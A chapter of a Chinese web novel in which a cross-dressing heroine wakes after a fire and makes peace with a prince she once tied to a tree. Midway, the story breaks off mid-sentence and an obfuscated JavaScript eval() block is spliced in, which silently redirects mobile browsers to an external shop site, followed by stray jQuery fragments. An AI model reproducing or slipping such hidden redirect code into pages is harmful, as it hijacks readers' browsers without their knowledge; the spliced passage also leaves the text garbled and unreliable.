萧凌川看着赵锦目光有些复杂,赵锦意识到他可能误会了什么,但她没解释。
“这里火势太大,我希望王爷尽快找些人手,防止火势扩大,烧到林中。”
萧凌川点头,神色担忧地看了眼眉头紧锁的苏钟柳后便离开。
苏钟柳这一觉睡得并不安稳,她昏倒前担忧自己女儿身暴露,她在毫不伪装时昏死过去,不就相当于把秘密摊开了说么。
在昏睡后,她又梦到火里惨叫的人,看着她,呼唤着她,烈火之中的目光是那样渴望生存,那种渴望被焚烧殆尽的痛苦烤得她胸闷气短,几乎窒息。
待到她恢复意识,已经不知是过了多久,她睁开双眼,看见的是明亮通透的房间,她眼珠转动,想看清房间全貌,这里竟与摄政王如此相像,家具配色,房间布局,都会让人直接联想到摄政王府。
“你醒了?”是萧凌川的声音,他坐在一侧的桌案旁,听见动静立马回头查看。
苏钟柳刚才竟没看见他。
她冲他眨了眨眼。
她身着女装时晕倒在地,这之间经过什么,她都无从知晓。
萧凌川会不会已经知道了她的秘密,她没鼓好勇气去问。
“你我相识不久,如今你却为了救阿锦受伤。”萧凌川的视线避开苏钟柳,“当初是我迫你同行,你若想离开,我会恭送,并送你一份离别礼。”
他这是心生愧疚了?苏钟柳想道。
她摇了摇头,开口:“我……”
声音沙哑,吓得她立马闭嘴。长久不开口,差点变成鸭子。
她把身上盖住的被子往头顶一拽,将脑袋和练全部埋进被褥之中。
萧凌川没看懂她这是何意,只得说道:“我不打扰你了,你好生休息。”
他大抵是觉得苏钟柳拒绝跟他说话。
苏钟柳闷在被子里,听见萧凌川远去的脚步,待到关门声响起之后,她小声说话检查自己的声音。
她竟有意外发现,她发现自己束胸的布竟然还在自己身上!
还有比这更惊悚的么?
谁给她缠的!
不可能是萧凌川,难不成是赵锦,阿锦确实说过帮她保密……
她将被子打开,从床榻爬起,肩头的伤口因这动作猛地发难,起身的苏钟柳动作一滞。
“你怎么起来了?”赵锦推开门便见眼前一幕,皱眉道。
“阿锦过来,我有事问你。”苏钟柳视线乱瞟,举止不自然。
赵锦走到床榻边站立,“说吧。”
苏钟柳吭哧半天,她当男人惯了,第一次遇到这种情况,难以启齿。
赵锦就等她说,终于苏钟柳战胜羞耻心,小声询问:“胸布是你帮我裹好的么?”
赵锦没听清,半蹲下身,将头凑近苏钟柳:“什么?”
苏钟柳:“……”
她深吸一口气,刚想再问,赵锦却抢先答话:“你没暴露,放心,我说过帮你保密就一定不会食言,你的脸我也画好了,和以前长得一模一样。”
她一口气卡在嗓子眼,又感动又气愤。
听清了还问!
赵锦从苏钟柳脸上看出了不满,笑着说:“你忽然变成蚊子,我没反应过来,反应片刻后,才猜出你在说什么。”
像嘲讽,像挑衅。
“谢谢。”苏钟柳说道,她作势下床,见赵锦神色不悦,解释道:“我昨晚把王爷绑架了,防止他记恨我,我主动去解释一下。”
赵锦扶她起身纠正道:“不是昨晚,是多久前那一晚。”说完便换了语气,“你还绑架他,真是胆大妄为。”
这语气显然算不上称赞,苏钟柳可不想被训斥,她呵呵笑两声敷衍过去,便出门寻萧凌川的身影。
出门便是一个小院子,院里鸡鸭鹅一应俱全,一眼便能看清全貌。萧凌川不在这里。
“他应该去油饼店了,你去那找他吧。”赵锦靠在门边上,说道。
“油饼店,哪个。”
不会是一开始失火那个吧?
“我们在……长荣城?”苏钟柳惊讶问道。
赵锦点点头。
萧凌川这是多想家,都假死脱身,金蝉脱壳了,来这人多眼杂的地方,他真不怕被人认出来,然后把他丢给皇帝么?
走都走了,还往回来,那她们在林子里的经历纯粹是多此一举呗。
也不能算是,毕竟做了好事,还得到一具受伤的身体。她自己宽慰地想道。
萧凌川果真在这,经过这么多晚,油饼店的模样恢复得不错,初具雏形,她走到里屋,见到她寻找的身影。
“川兄,我总算找到你了。”苏钟柳背后突袭,吓他一跳。
“你怎么来了?”正在与老板交谈的萧凌川回头见到苏钟柳,既惊喜又惊讶。
苏钟柳对着老板打了招呼,回答道:“想与你道歉,关于我好久前那一晚把你绑上树那件事。”
她见到萧凌川手腕上的伤,心里一直耿耿于怀,她二话不说直接捞起萧凌川的手腕。
红痕浅了许多,但仍然清晰可见。
老板听这话顿时开怀大笑起来:“绑上树?他?”
这突如其来的笑声搞得苏钟柳满心疑惑,这有什么好笑的。
“是啊,怎么了?”她问道。
老板笑颜满面答道:“我也干过!”
苏钟柳听这话,兴趣大发,赶忙把耳朵往前凑。
“我第一次见到他,他偷了我家的饼。”
偷?!这是能随便说的么,苏钟柳看了眼萧凌川的神色,他神色如常,甚至带着淡淡的笑意。
“我寻思这是哪家毛孩,我要替那家人家好好教育他一番,烧杀抢掠的事情可做不得。”
“烧杀抢掠?倒也没那么严重。”萧凌川笑道,他眉眼温和,老板把他偷东西的事分享出来,他竟没有恼怒,反而愉悦地听着。
“对,没那么严重,但也不是一个正常孩子该做的事。”老板神色骤然严肃起来,说完这句后,他又笑着继续往下讲,“我把他吊在树上,想着给他当街示众,让他面子上挂不住,孩子嘛,脸面是最大的。”
苏钟柳惊了:“你把王爷示众?”
这是有几个脑袋。
“后来你没事吧。”苏钟柳紧张道。
老板大手一挥:“没事!一开始确
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17784956|209837||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
实是被朝廷传话了,连皇帝都见着了,跪在那样庄严隆重的地方,我内心惶恐,咋就把小王爷绑起来了!”
“缘分。”萧凌川道。
“我还以为冒犯皇室一定要人头落地,结果小王爷给我求情,我们一人领点板子,这事就算过去了。”
老板说到这感慨道:“劫后余生,大起大落,现在还活着可多亏王爷了,王爷就是我救命恩人,从那以后,油饼管够。”
“不敢当。”萧凌川拱手谦虚道。
苏钟柳不知是自己太悲观还是别的原因,她觉得这件事里这两人都是受害者啊,可这两人笑得如此开心,苏钟柳也跟着笑笑。
“我以后不绑你了,川兄。”她道。
萧凌川弯眼道:“我知道你是为了护我,不想让我往寨子里冲,然后白送性命。”
苏钟柳顺着他的话点点头。
萧凌川这是误以为寨子放火是她计划一环了吧?
其实她是为了保护自己秘密,寨子发生残杀纯属意外。
“把你拐进来是我的荣幸。”萧凌川认真道。
店里来了客人,老板起身迎客,与二人打过招呼便去了外屋。
“知道就好。”苏钟柳哼声骄傲道。
“话说,你为何把我弄进来,仅仅是因为我撞破了你的秘密?”她问道。
萧凌川思索片刻:“也不是。”他回答,“具体为什么其实我也说不清楚,或许是见你仗义提醒我那杯茶有问题,或许是你带小孩来找我……总之你让我觉得你是一个纯粹的好人。”
“所以就该当冤大头?”
“是啊,我头一回见到你这种……”他停顿片刻,貌似在想措辞,“不求回报,不计代价的好人。”
苏钟柳:“……”
“逗你的,大概是你的纯粹吸引我,在你身边我能感受到善意,我就想,若是我有这样的朋友,简直是三生有幸,所以主动出击,把你拐进来。”
“你竟然想与我结为友人,不可思议。”她可是全然没看出来,全程只有赤裸裸的威胁,王爷威胁完,阿锦威胁,王爷再威胁,还边放火边威胁。
“因为没有,所以想拥有。”萧凌川轻叹道。
这句听得苏钟柳心揪一下,这算不算……卖惨?
“现在你有了,我愿意当你第一个朋友。”
苏钟柳将拳头放在萧凌川面前,萧凌川看懂苏钟柳的意思,将拳头碰上去。
“盟约达成,这次是两情相悦。”苏钟柳脱口而出,然后迅速反应过来,“呸!不对,两厢情愿。”
萧凌川帮她找补:“嗯对,两厢情愿。”
“有一件事想问你。”萧凌川道。
“问。”苏钟柳爽快道。
萧凌川斟酌片刻,直言道:“你和阿锦,是不是有我不知道的秘密。”
苏钟柳心虚地神经紧绷:“哪有,你想错了。”
是不是阿锦漏了什么马脚,让萧凌川察觉到了,其实苏大侠是女儿身!
“是么?”
“是!”
“我还以为你们在寨子里私定终身。”萧凌川道,“你出来后,她都不让我碰你。”